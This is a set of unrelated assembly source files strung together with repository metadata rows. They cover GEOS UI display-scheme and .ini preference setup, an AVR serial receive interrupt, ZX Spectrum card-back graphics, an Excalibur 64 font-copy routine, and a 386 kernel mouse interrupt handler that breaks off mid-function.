mov ax, mask SA_PEN_BASED ;else set this
10$:
mov dx, idata
mov ds, dx
mov bh, ds:[moCS_flags]
test bh, mask CSF_BW
jnz 20$
ORNF ax, mask SA_COLOR ;set the color flag if needed
20$:
test bh, mask CSF_VERY_NARROW or mask CSF_VERY_SQUISHED or mask CSF_TINY
jz 25$
ORNF ax, mask SA_TINY
25$:
; BX <- SystemAttrs
; (CSF_VERY_NARROW/SQUSHED map to the same positions as
; SA_HORIZONTALLY_TINY and SA_VERTICALLY_TINY)
;
ANDNF bx, (mask CSF_VERY_NARROW or mask CSF_VERY_SQUISHED) shl 8
ORNF bx, ax
call FlowGetUIButtonFlags
test al, mask UIBF_KEYBOARD_ONLY
jz 30$
ORNF bx, mask SA_KEYBOARD_ONLY
30$:
test al, mask UIBF_NO_KEYBOARD
jz 40$ ;noKeyboard set, branch, c=0
ORNF bx, mask SA_NO_KEYBOARD
40$:
;
; Set the orientation flags depending on the screen dimension.
;
call GetFieldDimensions
mov ax, mask SA_PORTRAIT
cmp cx, dx
jl setOrientationFlag ; width < height
cmp dx, cx
je setOrientationFlag ; width = height
clr ax
setOrientationFlag:
ORNF bx, ax
mov ds:olSystemAttrs, bx
mov_tr ax, bx ; SystemAttrs flags
ret
CheckHack <((mask CSF_VERY_NARROW shl 8) eq mask SA_HORIZONTALLY_TINY)>
CheckHack <((mask CSF_VERY_SQUISHED shl 8) eq mask SA_VERTICALLY_TINY)>
CalcSystemAttrs endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetFieldDimensions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets the field width and height.
CALLED BY: CalcSystemAttrs
PASS: nothing
RETURN: cx - field width
dx - field height
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PT 6/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _DUI
GetFieldDimensionsFar proc far
call GetFieldDimensions
ret
GetFieldDimensionsFar endp
endif
GetFieldDimensions proc near
uses ax,ds
.enter
segmov ds, idata, ax
mov cx, ds:[fieldWidth]
mov dx, ds:[fieldHeight]
tst dx
jnz done ; it's cached
segmov ds, ss
call OpenGetScreenDimensions ; cx=width, dx=height
if FAKE_SIZE_OPTIONS
call FakeFieldDimensions ; cx=newWidth, dx=newHeight
endif
segmov ds, idata, ax
mov ds:[fieldWidth], cx
mov ds:[fieldHeight], dx
done:
.leave
ret
GetFieldDimensions endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FakeFieldDimensions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check .ini file for fake field sizes to use. If found,
substitute here. If the continueSetup boolean equals true,
we ignore any size.
CALLED BY: (INTERNAL) GetFieldDimensions
PASS: cx,dx - width,height of field so far
RETURN: cx,dx - width,height of field (may have changed)
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PT 6/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if FAKE_SIZE_OPTIONS
FakeFieldDimensions proc near
uses ax,bx,ds,si
.enter
mov_tr ax, cx ; old width
mov bx, dx ; old height
mov cx, cs
mov ds, cx
mov si, offset screenSizeCategoryString ; ds:si = category str
mov dx, offset xFieldSizeString ; cx:dx = key str
call InitFileReadInteger ; ax = newHeight
xchg ax, bx ; old height,
; new width
mov dx, offset yFieldSizeString ; cx:dx = key str
call InitFileReadInteger
mov_tr dx, ax ; new height
mov cx, bx ; new width
.leave
ret
FakeFieldDimensions endp
screenSizeCategoryString char "ui", 0
xFieldSizeString char "xFieldSize", 0
yFieldSizeString char "yFieldSize", 0
endif ; FAKE_SIZE_OPTIONS
COMMENT @----------------------------------------------------------------------
ROUTINE: SetLightColors
SYNOPSIS: Sets a bunch of color variables to the user-chosen light color.
CALLED BY: SpecInitDefaultDisplayScheme
PASS: al -- color
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/15/91 Initial version
------------------------------------------------------------------------------@
ifdef USER_CAN_CHOOSE_COLORS
SetLightColors proc near
EC < call ECCheckESDGroup >
mov es:[moCS_dsLightColor], al ;else store a bunch of values
mov es:[moCS_windowBG], al
mov es:[moCS_menuBar], al
mov es:[moCS_activeBorder], al
mov es:[moCS_inactiveBorder], al
ret
SetLightColors endp
endif
COMMENT @----------------------------------------------------------------------
ROUTINE: SetDarkColors
SYNOPSIS: Sets a bunch of color variables to the user-chosen dark color.
CALLED BY: SpecInitDefaultDisplayScheme
PASS: al -- color
es -- dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/15/91 Initial version
------------------------------------------------------------------------------@
ifdef USER_CAN_CHOOSE_COLORS
SetDarkColors proc near
EC < call ECCheckESDGroup >
mov es:[moCS_dsDarkColor], al ;else store a bunch of values
mov es:[moCS_screenBG], al
mov es:[moCS_appWorkspace], al
;; mov es:[moCS_activeTitleBar], al ;don't want this for any SPUI
mov es:[moCS_windowFrame], al
mov es:[moCS_scrollBars], al
mov es:[moCS_menuSelection], al
mov es:[moCS_inactiveTitleBar], al
ret
SetDarkColors endp
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: AdjustForDisplayType
DESCRIPTION: Set specific UI variables having to do with the color scheme
to be used, based on whether on B&W display, or CGA. This
allows the code to work quicker by just using the colors & info
stored in these tables.
CALLED BY: INTERNAL
SpecInitDefaultDisplayScheme
PASS:
ah - DisplayType
RETURN:
moCS_flags - set
moCS_displayType - set
specDisplayScheme.DS_colorScheme - set
specDisplayScheme.DS_displayType - set
DESTROYED:
cx, si, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/90 Initial version
------------------------------------------------------------------------------@
NARROW_WIDTH equ 300 ;Anything over 300 pixels wide is not
; narrow (or so we say).
AdjustForDisplayType proc near uses ds, es
.enter
mov cx, segment idata ;get segment of core blk
mov ds, cx ; in ds
mov es, cx ; & in es
mov ch, ah
andnf ch, mask DF_DISPLAY_TYPE
cmp ch, DC_GRAY_1 ;is this black and white?
jnz afterBWAdjust ;no, branch
; if on a monochrome monitor, copy Monochrome color value
; table over Color Scheme vars
push ax
mov si, offset CUA_MonochromeColorTable
mov di, offset CUA_ColorSchemeVars
mov cl, ds:[moCS_numVars] ;cx = # of byte vars in table
clr ch
rep movsb
pop ax
or ds:[moCS_flags], mask CSF_BW
afterBWAdjust:
mov ds:[moCS_displayType], ah ;store display type
push ax
andnf ah, mask DT_DISP_SIZE
; But then check for tiny screen
cmp ah, DS_TINY shl offset DT_DISP_SIZE
pop ax
jne afterTinyAdjustments ; skip if not
or ds:[moCS_flags], mask CSF_TINY
afterTinyAdjustments:
push ax
andnf ah, mask DT_DISP_ASPECT_RATIO
cmp ah, DAR_TV shl offset DT_DISP_ASPECT_RATIO
pop ax
jne afterTV
or ds:[moCS_flags], mask CSF_TV
afterTV:
push ax
andnf ah, mask DT_DISP_ASPECT_RATIO
cmp ah, DAR_VERY_SQUISHED shl offset DT_DISP_ASPECT_RATIO
pop ax
jne afterVerySquishedAdjustments
or ds:[moCS_flags], mask CSF_VERY_SQUISHED
MO < mov ds:[olArrowSize], 10 ;default to arrow size 10 in CGA>
;
; 1/26/98 ND-000319, et al: force CGA to 9 point, and editable
; text to match. -- eca
;
mov ds:[specDisplayScheme].DS_pointSize, 9
mov ds:[editableTextFontsize], 9
afterVerySquishedAdjustments:
push ax
;
; Check to see if the display is narrow - if so, set the "very narrow"
; flag...
; The way we get the screen size is via a total HACK - we get the
; size of the UI's application object...
clr bx
call GeodeGetAppObject
mov ax, MSG_VIS_GET_SIZE
mov di, mask MF_CALL
call ObjMessage
cmp cx, NARROW_WIDTH
ja notNarrow
ornf ds:[moCS_flags], mask CSF_VERY_NARROW
notNarrow:
pop ax ;Restore display type in AH
; Finally, get & store the default display type & color scheme
;
mov al, ds:[moCS_dsDarkColor]
mov ds:[specDisplayScheme.DS_darkColor], al
mov al, ds:[moCS_dsLightColor] ;construct from light & dark
mov ds:[specDisplayScheme.DS_lightColor], al
mov cl, 4
shl al, cl
or al, ds:[moCS_dsDarkColor]
mov {word} ds:[specDisplayScheme.DS_colorScheme], ax
.leave
ret
AdjustForDisplayType endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecInitGadgetPreferences
DESCRIPTION: If there is a default video driver, init the variable
defaultDisplayScheme
CALLED BY: INTERNAL
PASS:
none
RETURN:
Set:
gadgetRepeatDelayString
DESTROYED:
ax, bx, cx, dx, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
Doug 10/90 Pulled out into separate routine
------------------------------------------------------------------------------@
SpecInitGadgetPreferences proc near uses si, di, ds, es
.enter
;
; Set up some registers
;
mov ax, segment dgroup
mov es, ax
mov cx, cs
mov ds, cx
mov si, offset inputCat
mov dx, offset floatingKbdKey
clr ax
call InitFileReadBoolean
mov es:[kbdRequired], al
;
; As long as we're pulling thinngs out of the .ini file, let's pull
; out the gadget repeat delay and store it.
;
mov dx, offset gadgetRepeatDelayString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
mov ax, DEFAULT_GADGET_REPEAT_DELAY ;in case not found
call InitFileReadInteger
mov es:[olGadgetRepeatDelay], ax ; Save gadget repeat delay
;
; Now find out if we want gadgets to accelerate.
;
mov dx, offset gadgetAccelerateString ;cx:dx = key
clr ax
call InitFileReadBoolean
mov es:[olGadgetAccelerate], al ; Save gadget accelerate flag.
;
; Setup custom gadget colors, if desired.
;
ifdef USER_CAN_CHOOSE_COLORS
call OpenCheckIfBW ;No special colors in B/W
jc afterActiveTitleBarColor
mov si, offset optionsCatString ;ds:si = category
mov dx, offset lightColorString ;cx:dx = key
call InitFileReadInteger
jc tryDarkColor ;branch if not in .ini file
call SetLightColors
tryDarkColor:
mov dx, offset darkColorString
call InitFileReadInteger
jc afterDarkColor
call SetDarkColors
afterDarkColor:
mov dx, offset activeTitleBarColorString
call InitFileReadInteger
jc afterActiveTitleBarColor
mov es:[moCS_activeTitleBar], al
mov es:[moCS_titleBar2], al
afterActiveTitleBarColor:
mov dx, offset titleBar2String
call InitFileReadInteger
jc afterTitleBar2Color
mov es:[moCS_titleBar2], al
afterTitleBar2Color:
mov dx, offset selectColorString
call InitFileReadInteger
jc afterSelectColor
mov es:[moCS_selBkgdColor], al
afterSelectColor:
endif
if _MOTIF
;
; Set up scroller arrow widths and heights.
;
mov dx, offset scrollerSizeString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
call InitFileReadInteger
jc noSize ;branch if not in .in file
test ax, 1 ;make size is even
jz sizeEven
inc ax
sizeEven:
cmp ax, MIN_ARROW_SIZE ;make sure arrow not too small
jae 20$
mov ax, MIN_ARROW_SIZE
20$:
cmp ax, MAX_ARROW_SIZE ;make sure arrow not too big
jbe 30$
mov ax, MAX_ARROW_SIZE
30$:
mov es:[olArrowSize], ax ; Save arrow size
noSize:
endif
if _MOTIF
;
; Set up resize border thicknesses.
;
mov dx, offset tbResizeBorderThicknessString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
call InitFileReadInteger
jc noHeight ;branch if not in .in file
mov es:[resizeBarHeight], ax ;Save resize bar height
noHeight:
mov dx, offset lrResizeBorderThicknessString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
call InitFileReadInteger
jc noWidth ;branch if not in .in file
mov es:[resizeBarWidth], ax ;Save resize bar width
noWidth:
endif
;
; init olFileSelectorStaticDrivePopupMoniker
;
mov dx, offset fsDriveMonikerString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
mov ax, FALSE ;in case not found
call InitFileReadBoolean ;ax = value
mov es:[olFileSelectorStaticDrivePopupMoniker], al
;
; Now find out if we want single clicks to be treated as double
; clicks in single action file selectors.
;
mov dx, offset fsSingleClickToOpenString ;cx:dx = key
clr ax
call InitFileReadBoolean
mov es:[olFileSelectorSingleClickToOpen], al
;
; init olNoDefaultRing, only if penBased = true.
;
call SysGetPenMode ;get pen mode
tst ax
jz afterNoDefaultRing ;no pen mode, branch
mov dx, offset noDefaultRingString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
mov ax, FALSE ;in case not found
call InitFileReadBoolean ;ax = value
mov es:[olNoDefaultRing], al
afterNoDefaultRing:
;
; init specDoClickSound.
;
mov dx, offset clickSoundsString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
mov ax, FALSE ;in case not found
call InitFileReadBoolean ;ax = value
mov es:[specDoClickSound], al
;
; init button invert delay
;
mov dx, offset buttonInvertDelayString ;cx:dx = key
mov si, offset optionsCatString ;ds:si = category
mov ax, DEFAULT_BUTTON_INVERT_DELAY ;in case not found
call InitFileReadInteger
mov es:[olButtonInvertDelay], ax ; Save button invert delay
jc afterInvertDelay
mov es:[olButtonActivateDelay], ax
afterInvertDelay:
;
; init olPDA.
;
mov dx, offset pdaKeyString ;cx:dx = key
mov si, offset pdaCatString ;ds:si = category
mov ax, FALSE ;in case not found
call InitFileReadBoolean ;ax = value
mov es:[olPDA], ax
;
; init olExtWinAttrs
;
mov dx, offset extWinAttrsString
mov si, offset optionsCatString
mov ax, ExtWinAttrs<1, 1>
call InitFileReadInteger
mov es:[olExtWinAttrs], ax
if TOOL_AREA_IS_TASK_BAR
;
; init taskBarPosition
;
mov dx, offset taskBarPositionString
mov si, offset optionsCatString
mov ax, MAX_COORD ;positive = at bottom
call InitFileReadInteger
mov es:[taskBarPosition], ax
;
; init taskBarAutoHide
;
mov dx, offset taskBarAutoHideString
mov si, offset optionsCatString
mov ax, FALSE ;default = no auto hide
call InitFileReadBoolean
mov es:[taskBarAutoHide], ax
;
; init taskBarMovable
;
mov dx, offset taskBarMovableString
mov si, offset optionsCatString
mov ax, FALSE ;default = no moving
call InitFileReadBoolean
mov es:[taskBarMovable], ax
endif
if _ISUI
mov si, offset optionsCatString
mov dx, offset rightClickHelpString
mov ax, TRUE
call InitFileReadBoolean
mov es:[olRightClickHelp], ax
mov dx, offset rightClickTimeString
mov ax, 15 ; 15 ticks = 1/4 second
call InitFileReadInteger
mov es:[olRightClickTime], ax
endif
.leave
ret
SpecInitGadgetPreferences endp
if _STYLUS ;Stylus also defines Motif.. this avoids redefinition.
optionsCatString char "stylus options",0
else
MO <optionsCatString char "motif options",0 >
ISU <optionsCatString char "motif options",0 >
endif ;_STYLUS
ifdef USER_CAN_CHOOSE_COLORS
darkColorString char "darkColor",0
lightColorString char "lightColor",0
activeTitleBarColorString char "active title bar color",0
selectColorString char "selectColor",0
titleBar2String char "titleBarGradient",0
endif
gadgetRepeatDelayString char "gadgetRepeatDelay",0
gadgetAccelerateString char "gadgetAccelerate",0
fsDriveMonikerString char "fsStaticDriveMoniker",0
fsSingleClickToOpenString char "fsSingleClickToOpen",0
noDefaultRingString char "noDefaultRing",0
clickSoundsString char "clickSounds",0
buttonInvertDelayString char "buttonInvertDelay",0
extWinAttrsString char "externalWinAttrs",0
if _MOTIF
scrollerSizeString char "scroll arrow size",0
lrResizeBorderThicknessString char "lrResizeBorderThickness",0
tbResizeBorderThicknessString char "tbResizeBorderThickness",0
endif
pdaCatString char "system",0
pdaKeyString char "pda",0
inputCat char "input",0
floatingKbdKey char "floatingKbd",0
if TOOL_AREA_IS_TASK_BAR
taskBarPositionString char "taskBarPosition",0
taskBarAutoHideString char "taskBarAutoHide",0
taskBarMovableString char "taskBarMovable",0
endif
if _ISUI
rightClickHelpString char "rightClickHelp",0
rightClickTimeString char "rightClickHelpTime",0
endif
Init ends
| 24.684178 | 81 | 0.664733 |
50ddd3e894eb94f948438a3da5d5ad1c78bc91b2 | 1,318 | asm | Assembly | iBUS/USART_RX.asm | aryan-gupta/Quadrino | ffd7993e55cc95b37c44b1a517a25cfc3a065ba0 | [
"MIT"
] | null | null | null | iBUS/USART_RX.asm | aryan-gupta/Quadrino | ffd7993e55cc95b37c44b1a517a25cfc3a065ba0 | [
"MIT"
] | null | null | null | iBUS/USART_RX.asm | aryan-gupta/Quadrino | ffd7993e55cc95b37c44b1a517a25cfc3a065ba0 | [
"MIT"
] | 1 | 2018-08-06T09:08:20.000Z | 2018-08-06T09:08:20.000Z | ISR(USART_RX_vect) {
static uint8_t* loc = buffer_start;
uint8_t data = UDR0;
if (loc == buffer_start or loc == buffer2_start) {
if (data != 0x20) return;
}
*loc = data;
loc++;
if (loc == buffer2_start) { // technically we only need to compare the LSB because its an array
buff1_ready = true;
buff2_ready = false;
return;
}
if (loc == buffer_end) {
buff2_ready = true;
buff1_ready = false;
loc = buffer_start;
return;
}
}
; Use r31 as r4 until we upload the data
; then load _loc MSB into r31
in r2, __SREG__
push r30
push r31
lds r4, 0x00C6 ; address of UDR0 register
lds r30, %B[_loc] ; load loc LSB, we are going to load MSB of loc later
cpi r30, %B[_buf1s] ; Compare loc LSB with buffer_start
breq SB ; TODO goto check for 0x20 (start bit)
cpi r30, %B[_buf2s]
brne MN ; TODO goto main
SB: ldi r31, 0x20
cp r4, r31
brne EN ; TODO goto end
MN: lds r31, %A[_loc] ; MSB
st Z+, r4
cpi r30, %B[_buf2s]
brne L2 ; branch to check buffer 2
sts %B[_loc], r30
sts %A[_loc], r31
ldi r30, 0x0
ldi r31, 0x1
sts %[buff1r], r31
sts %[buff2r], r30
rjmp EN
L2: cpi r30, %B[_bufe]
brne EN
ldi r30, %B[_buf1s]
ldi r31, %A[_buf1s]
sts %B[_loc], r30
sts %A[_loc], r31
ldi r30, 0x0
ldi r31, 0x1
sts %[buff1r], r30
sts %[buff2r], r31
EN: pop r31
pop r30
out __SREG__, r2 | 20.59375 | 96 | 0.656297 |
44d714af660b60a35d370cae52e74031b63b75fe | 1,178 | asm | Assembly | ShitHead/Bits/udg.asm | simonlaszcz/ShitHead | 53bf19ceaba458b9ce4cd3e9be75ab77f1778eee | [
"MIT"
] | null | null | null | ShitHead/Bits/udg.asm | simonlaszcz/ShitHead | 53bf19ceaba458b9ce4cd3e9be75ab77f1778eee | [
"MIT"
] | null | null | null | ShitHead/Bits/udg.asm | simonlaszcz/ShitHead | 53bf19ceaba458b9ce4cd3e9be75ab77f1778eee | [
"MIT"
] | null | null | null | CARDBACK_A
defb %01111111
defb %10000000
defb %10000000
defb %10000000
defb %10001111
defb %10001101
defb %10001010
defb %10001101
CARDBACK_B
defb %11111111
defb %00000000
defb %00000000
defb %00000000
defb %11111111
defb %01010101
defb %10101010
defb %01010101
CARDBACK_C
defb %11111110
defb %00000001
defb %00000001
defb %00000001
defb %11110001
defb %01010001
defb %10110001
defb %01010001
CARDBACK_D
defb %10001010
defb %10001101
defb %10001010
defb %10001101
defb %10001010
defb %10001101
defb %10001010
defb %10001101
CARDBACK_E
defb %10101010
defb %01010101
defb %10101010
defb %01010101
defb %10101010
defb %01010101
defb %10101010
defb %01010101
CARDBACK_F
defb %10110001
defb %01010001
defb %10110001
defb %01010001
defb %10110001
defb %01010001
defb %10110001
defb %01010001
CARDBACK_G
defb %10001010
defb %10001101
defb %10001010
defb %10001111
defb %10000000
defb %10000000
defb %10000000
defb %01111111
CARDBACK_H
defb %10101010
defb %01010101
defb %10101010
defb %11111111
defb %00000000
defb %00000000
defb %00000000
defb %11111111
CARDBACK_I
defb %10110001
defb %01010001
defb %10110001
defb %11110001
defb %00000001
defb %00000001
defb %00000001
defb %11111110 | 14.54321 | 14 | 0.809847 |
6e6ed159cfcc55963125e64b31f06b580c40a897 | 949 | asm | Assembly | libsrc/target/excali64/gencon/copy_font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/excali64/gencon/copy_font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/excali64/gencon/copy_font.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_graphics
PUBLIC copy_font
defc PCG_RAM = $4000
; Copy a font into page 0 of the PCG memory
; Entry: bc =font
; l = start character
; h = number of characters
copy_font:
ld a,h
push af
; Each character is 12 rows
ld h,0
add hl,hl ;x2
add hl,hl ;x4
ld d,h
ld e,l
add hl,hl ;x8
;add hl,de ;x12
add hl,hl ;x16
ld de,PCG_RAM
add hl,de ;Now points to start of hires memory
ld d,b ;
ld e,c
ex de,hl ;hl = font, de = distination
pop af ;Number of characters
ld c,a
for_each_character:
push bc
xor a
call wrbyte
call wrbyte
ld b,8
row_loop:
ld a,(hl)
call wrbyte
inc hl
djnz row_loop
xor a
ld b,6
fill_1:
call wrbyte
djnz fill_1
pop bc
dec c
jr nz,for_each_character
ret
wrbyte:
ex af,af
wait_sync:
in a,($50)
bit 4,a
jr z,wait_sync
push af
res 1,a
set 0,a
out ($70),a
ex af,af
ld (de),a
inc de
ex af,af
pop af
out ($70),a
ex af,af
ret
| 12.012658 | 47 | 0.632244 |
3deea73cd5e7b9377a0c15f9a7fadada72896a99 | 10,555 | asm | Assembly | kMouse.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | kMouse.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | kMouse.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | .386p
;include 8042_8048_info.asm
Kernel Segment public para use32
assume cs:Kernel
;mouse direction is from left,top to right down,so the x delta is right,but y delta is negtive
align 10h
__kMouseProc proc
pushad
push ds
push es
push fs
push gs
push ss
mov ax,rwData32Seg
mov ds,ax
mov es,ax
mov ebx,kernelData
shl ebx,4
cmp word ptr ds:[ebx + _videoMode],VIDEO_MODE_3
jz _mouseReturn
cmp word ptr ds:[ebx + _kMouseProc],0
jz _mouseReturn
call dword ptr ds:[ebx + _kMouseProc]
jmp _mouseReturn
mov esi,MOUSE_BUFFER
mov ecx,0
mov edx,0
in al,60h
mov dl,al
movsx eax,al
mov ds:[esi + MOUSEDATA._mintrData._mouseStatus + ecx ],eax
add ecx,4
_checkMouseStatus:
in al,64h
test al,1
jz _MouseProcMain
in al,60h
shl edx,8
mov dl,al
movsx eax,al
mov ds:[esi + MOUSEDATA._mintrData._mouseStatus + ecx ],eax
add ecx,4
cmp ecx,12
jz _MouseProcMain
jmp _checkMouseStatus
_MouseProcMain:
cmp ecx,12
jb _mousetestErr
mov eax,ds:[esi + MOUSEDATA._mintrData._mouseDeltaY]
not eax
mov ds:[esi + MOUSEDATA._mintrData._mouseDeltaY],eax
cmp dword ptr ds:[esi + MOUSEDATA._bInvalid],0
jnz _mouseIntCalcPos
cmp dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaY],0
jnz _mouseIntBackup
cmp dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaX],0
jnz _mouseIntBackup
jmp _mouseIntCalcPos
_mouseIntBackup:
call __restoreArray
_mouseIntCalcPos:
mov dword ptr ds:[esi + MOUSEDATA._bInvalid],0
mov eax,dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaX]
add dword ptr ds:[esi + MOUSEDATA._mouseX],eax
mov eax,dword ptr ds:[esi + MOUSEDATA._mouseX]
cmp eax,dword ptr ds:[ebx + _videoWidth]
jg _mouseXMax
cmp eax,0
jl _mouseXMin
jmp _checkMouseY
_mouseXMax:
mov eax,dword ptr ds:[ebx + _videoWidth]
mov dword ptr ds:[esi + MOUSEDATA._mouseX],eax
jmp _checkMouseY
_mouseXMin:
mov dword ptr ds:[esi + MOUSEDATA._mouseX],0
jmp _checkMouseY
_checkMouseY:
mov eax,dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaY]
add dword ptr ds:[esi + MOUSEDATA._mouseY],eax
mov eax,dword ptr ds:[esi + MOUSEDATA._mouseY]
cmp eax,dword ptr ds:[ebx + _videoHeight]
jg _mouseYMax
cmp eax,0
jl _mouseYMin
jmp _maekeArray
_mouseYMax:
mov eax,dword ptr ds:[ebx + _videoHeight]
mov dword ptr ds:[esi + MOUSEDATA._mouseY],eax
jmp _maekeArray
_mouseYMin:
mov dword ptr ds:[esi + MOUSEDATA._mouseY],0
jmp _maekeArray
_maekeArray:
cmp dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaY],0
jnz _mouseIntDraw
cmp dword ptr ds:[esi + MOUSEDATA._mintrData._mouseDeltaX],0
jnz _mouseIntDraw
jmp _mouseIntCheckClick
_mouseIntDraw:
call __drawArray
_mouseIntCheckClick:
test dword ptr ds:[esi + MOUSEDATA._mintrData._mouseStatus],7
jz _toShowMouse
mov edi,ds:[esi+ MOUSEDATA._mouseBufHdr]
shl edi,4
mov eax,ds:[esi+ MOUSEDATA._mintrData._mouseStatus]
mov ds:[esi+ MOUSEDATA._mouseBuf._mouseStatus + edi],eax
mov eax,ds:[esi+ MOUSEDATA._mouseX]
mov ds:[esi+ MOUSEDATA._mouseBuf._mouseX + edi],eax
mov eax,ds:[esi+ MOUSEDATA._mouseY]
mov ds:[esi+ MOUSEDATA._mouseBuf._mouseY + edi],eax
mov eax,ds:[esi+ MOUSEDATA._mouseZ]
mov ds:[esi+ MOUSEDATA._mouseBuf._mouseZ + edi],eax
;add dword ptr ds:[esi+ MOUSEDATA._mouseBufHdr],sizeof MOUSEPOSDATA
inc dword ptr ds:[esi+ MOUSEDATA._mouseBufHdr]
;cmp dword ptr ds:[esi+ MOUSEDATA._mouseBufHdr],MOUSE_BUF_LIMIT
cmp dword ptr ds:[esi+ MOUSEDATA._mouseBufHdr],MOUSE_POS_TOTAL
jb _toShowMouse
mov dword ptr ds:[esi+ MOUSEDATA._mouseBufHdr],0
_toShowMouse:
;call __showGraphInfo
_mouseReturn:
mov dword ptr ds:[CMOS_SECONDS_TOTAL],0
mov eax,TURNONSCREEN
int 80h
mov al,20h
out 20h,al
out 0a0h,al
pop ss
pop gs
pop fs
pop es
pop ds
popad
iretd
_mousetestErr:
mov ebp,esp
add ebp,52
push dword ptr ICW2_SLAVE_INT_NO + 4
push dword ptr edx
push dword ptr [ebp]
push dword ptr ecx
push dword ptr [ebp + 8]
test dword ptr [ebp + 4],3
jz _kMouseKernelModeInt
push dword ptr [ebp + 12]
push dword ptr [ebp + 16]
jmp _kMouseShowExpInfo
_kMouseKernelModeInt:
push dword ptr 0
push dword ptr 0
_kMouseShowExpInfo:
call __exceptionInfo
add esp,28
mov ebp,esp
jmp _mouseReturn
__kMouseProc endp
;ebp + 4 ret address
;ebp old ebp
;ebp - 4 ecx
;ebp - 8 edx
;ebp - 12 ebx
;ebp - 16 esi
;ebp - 20 edi
;ebp - 24 x
;ebp - 28 y
;ebp - 32 4x
;ebp - 36 6y
;ebp - 40 9x
;param:null
__drawArray proc
push ebp
mov ebp,esp
push ecx
push edx
push ebx
push esi
push edi
sub esp,40h
mov ebx,kernelData
shl ebx,4
mov eax,dword ptr ds:[ebx + _bytesPerPixel]
mov ss:[ebp - 44],eax
mov eax,dword ptr ds:[ebx + _bytesPerLine]
mov ss:[ebp - 48],eax
mov eax,dword ptr ds:[ebx + _videoBase]
mov ss:[ebp - 52],eax
mov eax,dword ptr ds:[ebx + _mouseColor]
;MOV EAX,MOUSE_INIT_COLOR
mov ss:[ebp - 56],eax
;mov eax,dword ptr ds:[ebx + _mouseBorderColor]
MOV EAX,MOUSE_BORDER_COLOR
mov ss:[ebp - 60],eax
mov eax,dword ptr ds:[ebx + _mouseBorderSize]
mov ss:[ebp - 64],eax
mov ebx,MOUSE_BUFFER
push dword ptr ds:[ebx + MOUSEDATA._mouseY]
push dword ptr ds:[ebx + MOUSEDATA._mouseX]
call __getPosition
add esp,8
mov edi,eax
add edi,ss:[ebp - 52]
mov esi,MOUSE_BUFFER
add esi,MOUSEDATA._mouseCoverData
cld
mov dword ptr ss:[ebp - 28],0
mov ecx,dword ptr ds:[ebx + MOUSEDATA._mouseHeight]
_drawMousePixel:
mov dword ptr ss:[ebp - 24],0
push ecx
push edi
mov ecx,dword ptr ds:[ebx + MOUSEDATA._mouseWidth]
_drawMouseLine:
push ecx
mov eax,dword ptr ss:[ebp - 28]
shl eax,2
mov dword ptr ss:[ebp - 32],eax
mov eax,dword ptr ss:[ebp - 24]
mov ecx,6
mul ecx
